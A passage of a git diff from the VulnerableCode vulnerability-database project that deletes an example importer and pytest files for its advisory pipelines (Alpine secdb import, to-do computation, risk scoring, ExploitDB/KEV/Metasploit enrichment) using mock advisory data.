system=SCORING_SYSTEMS["generic_textual"], value=raw_data["advisory_severity"] - ) - references = [Reference(url=raw_data["reference"], severities=[severity])] - # The original format is "06-10-2021 UTC" and we convert this a - date_published = datetime.strptime(raw_data["published_on"], "%d-%m-%Y %Z").replace( - tzinfo=timezone.utc - ) - - return AdvisoryData( - aliases=[raw_data["id"]], - summary=raw_data["summary"], - affected_packages=[affected_package], - references=references, - date_published=date_published, - url=raw_data["url"], - ) - - -class ExampleAliasImprover(Improver): - @property - def interesting_advisories(self) -> QuerySet: - return Advisory.objects.filter(created_by=ExampleImporter.qualified_name) - - def get_inferences(self, advisory_data) -> Iterable[Inference]: - for alias in advisory_data.aliases: - new_aliases = fetch_additional_aliases(alias) - aliases = new_aliases + [alias] - yield Inference(aliases=aliases, confidence=MAX_CONFIDENCE) - - -def fetch_additional_aliases(alias): - alias_map = { - "CVE-2021-230171337": ["PYSEC-1337", "CERTIN-1337"], - "CVE-2021-12341337": ["ANONSEC-1337", "CERTDES-1337"], - } - return alias_map.get(alias) diff --git a/vulnerabilities/tests/pipelines/test_alpine_linux_importer_pipeline.py b/vulnerabilities/tests/pipelines/test_alpine_linux_importer_pipeline.py deleted file mode 100644 index 2106b58ff..000000000 --- a/vulnerabilities/tests/pipelines/test_alpine_linux_importer_pipeline.py +++ /dev/null @@ -1,573 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from pathlib import Path - -import pytest -from packageurl import PackageURL -from univers.versions import AlpineLinuxVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.pipelines.alpine_linux_importer import fetch_advisory_directory_links -from vulnerabilities.pipelines.alpine_linux_importer import fetch_advisory_links -from vulnerabilities.pipelines.alpine_linux_importer import load_advisories -from vulnerabilities.pipelines.alpine_linux_importer import process_record -from vulnerabilities.references import XsaReference -from vulnerabilities.tests.pipelines import TestLogger - -TEST_DATA = Path(__file__).parent.parent / "test_data" / "alpine" - - -def test_process_record(): - logger = TestLogger() - expected_advisories = [ - AdvisoryData( - aliases=["XSA-248"], - summary="", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={ - "arch": "aarch64", - "distroversion": "v3.11", - "reponame": "main", - }, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r1"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "armhf", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r1"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "armv7", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r1"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={ - "arch": "ppc64le", - "distroversion": "v3.11", - "reponame": "main", - }, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r1"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "s390x", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r1"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "x86", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r1"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "x86_64", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r1"), - ), - ], - references=[ - XsaReference( - reference_id="XSA-248", - url="https://xenbits.xen.org/xsa/advisory-248.html", - severities=[], - ) - ], - date_published=None, - url="https://secdb.alpinelinux.org/v3.11/", - ), - AdvisoryData( - aliases=["CVE-2018-7540", "XSA-252"], - summary="", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={ - "arch": "aarch64", - "distroversion": "v3.11", - "reponame": "main", - }, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r2"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "armhf", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r2"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "armv7", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r2"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={ - "arch": "ppc64le", - "distroversion": "v3.11", - "reponame": "main", - }, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r2"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "s390x", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r2"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "x86", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r2"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="xen", - version=None, - qualifiers={"arch": "x86_64", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="4.10.0-r2"), - ), - ], - references=[ - XsaReference( - reference_id="XSA-252", - url="https://xenbits.xen.org/xsa/advisory-252.html", - severities=[], - ) - ], - date_published=None, - url="https://secdb.alpinelinux.org/v3.11/", - ), - AdvisoryData( - aliases=["CVE-2017-9669"], - summary="", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={ - "arch": "aarch64", - "distroversion": "v3.11", - "reponame": "main", - }, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "armhf", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "armv7", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={ - "arch": "ppc64le", - "distroversion": "v3.11", - "reponame": "main", - }, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "s390x", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "x86", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "x86_64", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - ], - references=[], - date_published=None, - url="https://secdb.alpinelinux.org/v3.11/", - ), - AdvisoryData( - aliases=["CVE-2017-9671"], - summary="", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={ - "arch": "aarch64", - "distroversion": "v3.11", - "reponame": "main", - }, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "armhf", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "armv7", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={ - "arch": "ppc64le", - "distroversion": "v3.11", - "reponame": "main", - }, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "s390x", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "x86", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name="apk-tools", - version=None, - qualifiers={"arch": "x86_64", "distroversion": "v3.11", "reponame": "main"}, - subpath=None, - ), - affected_version_range=None, - fixed_version=AlpineLinuxVersion(string="2.7.2-r0"), - ), - ], - references=[], - date_published=None, - url="https://secdb.alpinelinux.org/v3.11/", - ), - ] - with open(TEST_DATA / "v3.11/main.json") as f: - found_advisories = list( - process_record( - json.loads(f.read()), - "https://secdb.alpinelinux.org/v3.11/", - logger=logger.write, - ) - ) - assert found_advisories == expected_advisories - assert ( - "'4.10-1-r1' is not a valid AlpineVersion InvalidVersion(\"'4.10-1-r1' is not a valid \")" - in logger.getvalue() - ) - - -def test_fetch_advisory_directory_links(): - expected = [ - "https://secdb.alpinelinux.org/edge/", - "https://secdb.alpinelinux.org/v3.10/", - "https://secdb.alpinelinux.org/v3.11/", - "https://secdb.alpinelinux.org/v3.12/", - "https://secdb.alpinelinux.org/v3.13/", - "https://secdb.alpinelinux.org/v3.14/", - "https://secdb.alpinelinux.org/v3.15/", - "https://secdb.alpinelinux.org/v3.2/", - "https://secdb.alpinelinux.org/v3.3/", - "https://secdb.alpinelinux.org/v3.4/", - "https://secdb.alpinelinux.org/v3.5/", - "https://secdb.alpinelinux.org/v3.6/", - "https://secdb.alpinelinux.org/v3.7/", - "https://secdb.alpinelinux.org/v3.8/", - "https://secdb.alpinelinux.org/v3.9/", - ] - with open(TEST_DATA / "web_pages/directory.html") as f: - assert ( - fetch_advisory_directory_links(f.read(), "https://secdb.alpinelinux.org/") == expected - ) - - -def test_fetch_advisory_directory_links_failure(): - logger = TestLogger() - with open(TEST_DATA / "web_pages/fail_directory.html") as f: - assert ( - fetch_advisory_directory_links( - f.read(), "https://secdb.alpinelinux.org/", logger=logger.write - ) - == [] - ) - assert "No versions found in 'https://secdb.alpinelinux.org/'" in logger.getvalue() - - -def test_fetch_advisory_links(): - expected = [ - "https://secdb.alpinelinux.org/v3.11/community.json", - "https://secdb.alpinelinux.org/v3.11/main.json", - ] - with open(TEST_DATA / "web_pages/v3.11.html") as f: - assert ( - list(fetch_advisory_links(f.read(), "https://secdb.alpinelinux.org/v3.11/")) == expected - ) - - -def test_fetch_advisory_links_failure(): - logger = TestLogger() - with open(TEST_DATA / "web_pages/fail_directory.html") as f: - assert list(fetch_advisory_links(f.read(), "v3.11", logger=logger.write)) == [] - assert "No anchor tags found in 'v3.11'" in logger.getvalue() - - -def test_process_record_without_packages(): - logger = TestLogger() - with open(TEST_DATA / TEST_DATA / "v3.3/community.json") as f: - assert list(process_record(json.loads(f.read()), "", logger=logger.write)) == [] - assert ( - "\"packages\" not found in this record {'apkurl': '{{urlprefix}}/{{distroversion}}/{{reponame}}/{{arch}}/{{pkg.name}}-{{pkg.ver}}.apk', 'archs': ['armhf', 'x86', 'x86_64'], 'reponame': 'community', 'urlprefix': 'https://dl-cdn.alpinelinux.org/alpine', 'distroversion': 'v3.3', 'packages': []}" - in logger.getvalue() - ) - - -def test_load_advisories_package_without_name(): - logger = TestLogger() - package = { - "secfixes": {"4.10.0-r1": ["XSA-248"], "4.10.0-r2": ["CVE-2018-7540 XSA-252"]}, - } - list(load_advisories(package, "v3.11", "main", archs=[], url="", logger=logger.write)) - assert ( - "\"name\" is not available in package {'secfixes': {'4.10.0-r1': ['XSA-248'], '4.10.0-r2': ['CVE-2018-7540 XSA-252']}}" - in logger.getvalue() - ) - - -def test_load_advisories_package_without_secfixes(): - logger = TestLogger() - package = { - "name": "xen", - "secfixes": {"4.10.0-r1": []}, - } - list(load_advisories(package, "v3.11", "main", archs=[], url="", logger=logger.write)) - assert "No fixed vulnerabilities in version '4.10.0-r1'" in logger.getvalue() - - -@pytest.mark.parametrize( - "test_case", - [ - # these are the tests are not supported yet - # when we start supporting these version, - # they will be moved back to main test suite - "1.9.5p2-r0", - "6.6.2p1-r0", - "6.6.4p1-r1", - "4.10-1-r1", - ], -) -def test_load_advisories_package_with_invalid_alpine_version(test_case): - logger = TestLogger() - package = { - "name": "xen", - "secfixes": {f"{test_case}": ["XSA-248"]}, - } - list(load_advisories(package, "v3.11", "main", archs=[], url="", logger=logger.write)) - assert ( - f"{test_case!r} is not a valid AlpineVersion InvalidVersion(\"{test_case!r} is not a valid \")" - in logger.getvalue() - ) diff --git a/vulnerabilities/tests/pipelines/test_base_pipeline.py b/vulnerabilities/tests/pipelines/test_base_pipeline.py deleted file mode 100644 index 7c7319e5d..000000000 --- a/vulnerabilities/tests/pipelines/test_base_pipeline.py +++ /dev/null @@ -1,124 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from unittest.mock import patch - -from django.test import TestCase -from django.utils import timezone -from packageurl import PackageURL -from univers.version_range import VersionRange - -from vulnerabilities import models -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.pipelines import VulnerableCodePipeline -from vulnerabilities.pipes.advisory import get_or_create_aliases -from vulnerabilities.tests.pipelines import TestLogger - -advisory_data1 = AdvisoryData( - aliases=["CVE-2020-13371337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="dummy"), - affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=timezone.now(), - url="https://test.com", -) - - -def get_advisory1(created_by="test_pipeline"): - from vulnerabilities.pipes.advisory import insert_advisory - - return insert_advisory( - advisory=advisory_data1, - pipeline_id=created_by, - ) - - -class TestVulnerableCodePipeline(TestCase): - def test_on_failure(self): - class TestPipeline(VulnerableCodePipeline): - def __init__(self, test_logger): - super().__init__() - self.log = test_logger.write - - @classmethod - def steps(cls): - return (cls.step1,) - - def step1(self): - raise Exception("Something went wrong!") - - def on_failure(self): - self.log("Doing cleanup.") - - logger = TestLogger() - pipeline = TestPipeline(test_logger=logger) - - pipeline.execute() - log_result = logger.getvalue() - - self.assertIn("Pipeline failed", log_result) - self.assertIn("Running [on_failure] tasks", log_result) - - -class TestVulnerableCodeBaseImporterPipeline(TestCase): - @patch.object( - VulnerableCodeBaseImporterPipeline, - "collect_advisories", - return_value=[advisory_data1], - ) - @patch.object( - VulnerableCodeBaseImporterPipeline, - "advisories_count", - return_value=1, - ) - def test_collect_and_store_advisories(self, mock_advisories_count, mock_collect_advisories): - self.assertEqual(0, models.Advisory.objects.count()) - - base_pipeline = VulnerableCodeBaseImporterPipeline() - base_pipeline.pipeline_id = "test_pipeline" - - base_pipeline.collect_and_store_advisories() - - mock_advisories_count.assert_called_once() - mock_collect_advisories.assert_called_once() - - self.assertEqual(1, models.Advisory.objects.count()) - - collected_advisory = models.Advisory.objects.first() - result_aliases = [item.alias for item in collected_advisory.aliases.all()] - expected_aliases = advisory_data1.aliases - - self.assertEqual(expected_aliases, result_aliases) - self.assertEqual(base_pipeline.pipeline_id, collected_advisory.created_by) - - def test_import_new_advisories(self): - self.assertEqual(0, models.Vulnerability.objects.count()) - - base_pipeline = VulnerableCodeBaseImporterPipeline() - base_pipeline.pipeline_id = "test_pipeline" - advisory1 = get_advisory1() - base_pipeline.import_new_advisories() - - self.assertEqual(1, models.Vulnerability.objects.count()) - - imported_vulnerability = models.Vulnerability.objects.first() - - self.assertEqual(1, imported_vulnerability.aliases.count()) - - expected_alias = imported_vulnerability.aliases.first() - result_alias = advisory1.aliases.first() - self.assertEqual(result_alias.alias, expected_alias.alias) diff --git a/vulnerabilities/tests/pipelines/test_compute_advisory_todo.py b/vulnerabilities/tests/pipelines/test_compute_advisory_todo.py deleted file mode 100644 index d382ff0b8..000000000 --- a/vulnerabilities/tests/pipelines/test_compute_advisory_todo.py +++ /dev/null @@ -1,173 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from datetime import datetime - -from django.test import TestCase -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.models import Advisory -from vulnerabilities.models import AdvisoryToDo -from vulnerabilities.models import Alias -from vulnerabilities.pipelines.compute_advisory_todo import ComputeToDo - - -class TestComputeToDo(TestCase): - def setUp(self): - self.advisory_data1 = AdvisoryData( - summary="Test summary", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="npm", name="package1"), - affected_version_range="vers:npm/>=1.0.0|<2.0.0", - fixed_version="2.0.0", - ) - ], - references=[Reference(url="https://example.com/vuln1")], - url="https://test.url/", - ) - - self.advisory_data2 = AdvisoryData( - summary="Test summary", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="npm", name="package1"), - affected_version_range="vers:npm/>=1.0.0|<2.0.0", - ) - ], - references=[Reference(url="https://example.com/vuln1")], - url="https://test.url/", - ) - - self.advisory_data3 = AdvisoryData( - summary="Test summary", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="npm", name="package1"), - fixed_version="2.0.0", - ) - ], - references=[Reference(url="https://example.com/vuln1")], - url="https://test.url/", - ) - - self.advisory_data4 = AdvisoryData( - summary="Test summary", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="npm", name="package1"), - affected_version_range="vers:npm/>=1.0.0|<=2.0.0", - fixed_version="2.0.1", - ) - ], - references=[Reference(url="https://example.com/vuln1")], - url="https://test.url/", - ) - - def test_advisory_todo_missing_summary(self): - date = datetime.now() - Advisory.objects.create( - unique_content_id="test_id", - url=self.advisory_data1.url, - summary="", - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) - pipeline = ComputeToDo() - pipeline.execute() - - todo = AdvisoryToDo.objects.first() - self.assertEqual(1, AdvisoryToDo.objects.count()) - self.assertEqual("MISSING_SUMMARY", todo.issue_type) - self.assertEqual(1, todo.advisories.count()) - - def test_advisory_todo_missing_fixed(self): - date = datetime.now() - Advisory.objects.create( - unique_content_id="test_id", - url=self.advisory_data2.url, - summary=self.advisory_data2.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data2.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data2.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) - pipeline = ComputeToDo() - pipeline.execute() - - todo = AdvisoryToDo.objects.first() - self.assertEqual(1, AdvisoryToDo.objects.count()) - self.assertEqual("MISSING_FIXED_BY_PACKAGE", todo.issue_type) - self.assertEqual(1, todo.advisories.count()) - - def test_advisory_todo_missing_affected(self): - date = datetime.now() - Advisory.objects.create( - unique_content_id="test_id", - url=self.advisory_data3.url, - summary=self.advisory_data3.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data3.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data3.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) - pipeline = ComputeToDo() - pipeline.execute() - - todo = AdvisoryToDo.objects.first() - self.assertEqual(1, AdvisoryToDo.objects.count()) - self.assertEqual("MISSING_AFFECTED_PACKAGE", todo.issue_type) - self.assertEqual(1, todo.advisories.count()) - - def test_advisory_todo_conflicting_fixed_affected(self): - alias = Alias.objects.create(alias="CVE-0000-0000") - date = datetime.now() - adv1 = Advisory.objects.create( - unique_content_id="test_id1", - url=self.advisory_data1.url, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) - adv1.aliases.add(alias) - adv2 = Advisory.objects.create( - unique_content_id="test_id2", - url=self.advisory_data4.url, - summary=self.advisory_data4.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data4.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data4.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) - adv2.aliases.add(alias) - - self.assertEqual(0, AdvisoryToDo.objects.count()) - pipeline = ComputeToDo() - pipeline.execute() - - todo = AdvisoryToDo.objects.first() - self.assertEqual(1, AdvisoryToDo.objects.count()) - self.assertEqual("CONFLICTING_AFFECTED_AND_FIXED_BY_PACKAGES", todo.issue_type) - self.assertIn( - "CVE-0000-0000: pkg:npm/package1 with conflicting fixed version", todo.issue_detail - ) - self.assertEqual(2, todo.advisories.count()) - self.assertEqual(todo, adv2.advisory_todos.first()) diff --git a/vulnerabilities/tests/pipelines/test_compute_package_risk.py b/vulnerabilities/tests/pipelines/test_compute_package_risk.py deleted file mode 100644 index a366d32e8..000000000 --- a/vulnerabilities/tests/pipelines/test_compute_package_risk.py +++ /dev/null @@ -1,34 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -from decimal import Decimal - -import pytest - -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import Package -from vulnerabilities.pipelines.compute_package_risk import ComputePackageRiskPipeline -from vulnerabilities.tests.test_risk import vulnerability - - -@pytest.mark.django_db -def test_simple_risk_pipeline(vulnerability): - pkg = Package.objects.create(type="pypi", name="foo", version="2.3.0") - assert Package.objects.count() == 1 - - improver = ComputePackageRiskPipeline() - improver.execute() - - assert pkg.risk_score is None - - AffectedByPackageRelatedVulnerability.objects.create(package=pkg, vulnerability=vulnerability) - improver = ComputePackageRiskPipeline() - improver.execute() - - pkg = Package.objects.get(type="pypi", name="foo", version="2.3.0") - assert pkg.risk_score == Decimal("3.1") # max( 6.9 * 9/10 , 6.5 * 9/10 ) * .5 = 3.105 diff --git a/vulnerabilities/tests/pipelines/test_enhance_with_exploitdb.py b/vulnerabilities/tests/pipelines/test_enhance_with_exploitdb.py deleted file mode 100644 index 1b47591ba..000000000 --- a/vulnerabilities/tests/pipelines/test_enhance_with_exploitdb.py +++ /dev/null @@ -1,62 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -from unittest import mock -from unittest.mock import Mock - -import pytest - -from vulnerabilities.models import Alias -from vulnerabilities.models import Exploit -from vulnerabilities.models import Vulnerability -from vulnerabilities.pipelines.enhance_with_exploitdb import ExploitDBImproverPipeline - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "../test_data", "exploitdb_improver/files_exploits.csv") - - -@pytest.mark.django_db -@mock.patch("requests.get") -def test_exploit_db_improver(mock_get): - mock_response = Mock(status_code=200) - with open(TEST_DATA, "r") as f: - mock_response.text = f.read() - mock_get.return_value = mock_response - - improver = ExploitDBImproverPipeline() - - # Run the improver when there is no matching aliases - improver.execute() - - assert Exploit.objects.count() == 0 - - v1 = Vulnerability.objects.create(vulnerability_id="VCIO-123-2002") - v1.save() - - Alias.objects.create(alias="CVE-2009-3699", vulnerability=v1) - - # Run Exploit-DB Improver again when there are matching aliases. - improver.execute() - assert Exploit.objects.count() == 1 - - -@pytest.mark.django_db -@mock.patch("requests.get") -def test_invalid_exploit_db_improver(mock_get): - mock_response = Mock(status_code=200) - with open(TEST_DATA, "r") as f: - mock_response.text = f.read() - mock_get.return_value = mock_response - - improver = ExploitDBImproverPipeline() - Alias.objects.create(alias="CVE-2009-3699", vulnerability=None) - status, _ = improver.execute() - assert status == 0 - assert Exploit.objects.count() == 0 diff --git a/vulnerabilities/tests/pipelines/test_enhance_with_kev.py b/vulnerabilities/tests/pipelines/test_enhance_with_kev.py deleted file mode 100644 index 947d94a0a..000000000 --- a/vulnerabilities/tests/pipelines/test_enhance_with_kev.py +++ /dev/null @@ -1,62 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -from unittest import mock -from unittest.mock import Mock - -import pytest - -from vulnerabilities.models import Alias -from vulnerabilities.models import Exploit -from vulnerabilities.models import Vulnerability -from vulnerabilities.pipelines.enhance_with_kev import VulnerabilityKevPipeline -from vulnerabilities.utils import load_json - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "../test_data", "kev_data.json") - - -@pytest.mark.django_db -@mock.patch("requests.get") -def test_kev_improver(mock_get): - mock_response = Mock(status_code=200) - mock_response.json.return_value = load_json(TEST_DATA) - mock_get.return_value = mock_response - - improver = VulnerabilityKevPipeline() - - # Run the improver when there is no matching aliases - improver.execute() - - assert Exploit.objects.count() == 0 - - v1 = Vulnerability.objects.create(vulnerability_id="VCIO-123-2002") - v1.save() - - Alias.objects.create(alias="CVE-2021-38647", vulnerability=v1) - - # Run Kev Improver again when there are matching aliases. - improver.execute() - assert Exploit.objects.count() == 1 - - -@pytest.mark.django_db -@mock.patch("requests.get") -def test_invalid_kev_improver(mock_get): - mock_response = Mock(status_code=200) - mock_response.json.return_value = load_json(TEST_DATA) - mock_get.return_value = mock_response - - improver = VulnerabilityKevPipeline() - Alias.objects.create(alias="CVE-2021-38647", vulnerability=None) - - status, _ = improver.execute() - assert status == 0 - assert Exploit.objects.count() == 0 diff --git a/vulnerabilities/tests/pipelines/test_enhance_with_metasploit.py b/vulnerabilities/tests/pipelines/test_enhance_with_metasploit.py deleted file mode 100644 index a4f4dae83..000000000 --- a/vulnerabilities/tests/pipelines/test_enhance_with_metasploit.py +++ /dev/null @@ -1,58 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -from unittest import mock -from unittest.mock import Mock - -import pytest - -from vulnerabilities.models import Alias -from vulnerabilities.models import Exploit -from vulnerabilities.models import Vulnerability -from vulnerabilities.pipelines.enhance_with_metasploit import MetasploitImproverPipeline -from vulnerabilities.utils 